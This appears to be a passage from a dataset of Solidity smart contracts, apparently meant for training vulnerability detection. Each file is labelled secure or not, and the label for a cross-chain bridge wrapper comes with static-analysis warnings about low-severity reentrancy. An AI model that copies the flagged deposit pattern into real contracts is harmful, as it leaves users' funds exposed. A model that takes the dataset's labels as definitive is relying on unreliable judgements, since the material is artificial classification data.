oracles = newOracles;\n\n oracleNonce += 1;\n\n largeOracleNonce = newLargeOracleNonce;\n\n withdrawSum = 0;\n }\n\n function _deposit(bytes21 destination, uint256 amount) internal {\n require(\n depositMinimum <= amount && amount <= depositMaximum,\n \"Invalid deposit amount\"\n );\n\n require(destination[0] == 0, \"Invalid destination\");\n\n uint64 currentNonce = depositNonce;\n\n\t\t// reentrancy-benign | ID: 346ee9b\n depositNonce += 1;\n\n\t\t// reentrancy-events | ID: 57073ea\n emit Deposit(currentNonce, destination, amount);\n }\n\n function withdraw(\n uint64 withdrawNonce,\n address destination,\n uint256 amount,\n uint32 bitmask,\n bytes calldata signatures\n ) external {\n require(\n withdrawSum + amount <= withdrawMaximum,\n \"Unable to withdraw amount\"\n );\n\n uint256 sigSize = 65;\n\n bytes32 digest = sha256(\n abi.encodePacked(\n address(this),\n oracleNonce,\n withdrawNonce,\n destination,\n amount\n )\n );\n\n uint256 sigs = 0;\n\n uint32 offset = 0;\n\n uint256 end = sigSize;\n\n uint32 signersBitmask = 0;\n\n while (end <= signatures.length) {\n bytes memory signature = signatures[end - sigSize:end];\n\n while (offset < oracles.length && (bitmask >> offset) & 1 == 0) {\n offset++;\n }\n\n if (offset == oracles.length) {\n break;\n }\n\n require(\n oracles[offset] == ECDSA.recover(digest, signature),\n \"Could not verify signature\"\n );\n\n signersBitmask |= uint32(1) << offset;\n\n offset++;\n\n sigs++;\n\n end += sigSize;\n }\n\n require(sigs >= (oracles.length / 2) + 1, \"Not enough signatures\");\n\n withdrawSum += amount;\n\n uint256 withdrawId = (uint256(oracleNonce) << 64) + uint256(withdrawNonce);\n\n require(\n processedWithdrawals[withdrawId] == 0,\n \"Withdrawal already processed\"\n );\n\n bytes32 withdrawContent = keccak256(\n abi.encodePacked(oracleNonce, withdrawNonce, destination, amount)\n );\n\n processedWithdrawals[withdrawId] = withdrawContent;\n\n emit Withdrawal(\n withdrawNonce,\n destination,\n amount,\n oracleNonce,\n signersBitmask\n );\n\n _sendValue(destination, amount);\n }\n\n function withdrawFromPastEpoch(\n uint64 nonce,\n address destination,\n uint256 amount,\n uint64 epochOracleNonce,\n bytes32[] memory proof\n ) external {\n bytes32 merkleRoot = epochs[epochOracleNonce];\n\n bytes32 digest = sha256(abi.encodePacked(nonce, destination, amount));\n\n require(\n verifyMerkleProof(proof, merkleRoot, digest),\n \"Unable to verify proof\"\n );\n\n uint256 withdrawId = (uint256(epochOracleNonce) << 64) + uint256(nonce);\n\n bytes32 withdrawContent = keccak256(\n abi.encodePacked(epochOracleNonce, nonce, destination, amount)\n );\n\n require(\n processedWithdrawals[withdrawId] != withdrawContent,\n \"Withdrawal already processed\"\n );\n\n processedWithdrawals[withdrawId] = withdrawContent;\n\n emit Withdrawal(nonce, destination, amount, epochOracleNonce, 0);\n\n _sendValue(destination, amount);\n }\n\n function _sendValue(address destination, uint256 amount) internal virtual;\n\n function verifyMerkleProof(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) private pure returns (bool) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n computedHash = sha256(abi.encode(computedHash, proofElement));\n } else {\n computedHash = sha256(abi.encode(proofElement, computedHash));\n }\n }\n\n return computedHash == root;\n }\n\n function _largeOracle()\n internal\n view\n virtual\n override\n returns (LargeOracleInterface)\n {\n return largeOracle;\n }\n}",
"file_name": "solidity_code_1265.sol",
"secure": 1,
"size_bytes": 7586
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nimport \"./WithdrawAndDeposit.sol\" as WithdrawAndDeposit;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"./LargeOracleInterface.sol\" as LargeOracleInterface;\n\ncontract WithdrawAndDepositErc20 is WithdrawAndDeposit {\n using SafeERC20 for IERC20;\n\n IERC20 public token;\n\n function initialize(\n IERC20 _token,\n uint256 _depositMinimum,\n uint256 _depositMaximum,\n uint256 _withdrawMaximum,\n address[] memory _oracles,\n LargeOracleInterface _largeOracleContract\n ) external initializer {\n token = _token;\n\n _initialize(\n _depositMinimum,\n _depositMaximum,\n _withdrawMaximum,\n _oracles,\n _largeOracleContract\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57073ea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57073ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 346ee9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 346ee9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(bytes21 destination, uint256 amount) external {\n\t\t// reentrancy-events | ID: 57073ea\n\t\t// reentrancy-benign | ID: 346ee9b\n token.safeTransferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-events | ID: 57073ea\n\t\t// reentrancy-benign | ID: 346ee9b\n _deposit(destination, amount);\n }\n\n function _sendValue(address destination, uint256 amount) internal override {\n token.safeTransfer(destination, amount);\n }\n}",
"file_name": "solidity_code_1266.sol",
"secure": 0,
"size_bytes": 2213
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function balanceOf(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_1267.sol",
"secure": 1,
"size_bytes": 156
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV3Pool {\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n}",
"file_name": "solidity_code_1268.sol",
"secure": 1,
"size_bytes": 425
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.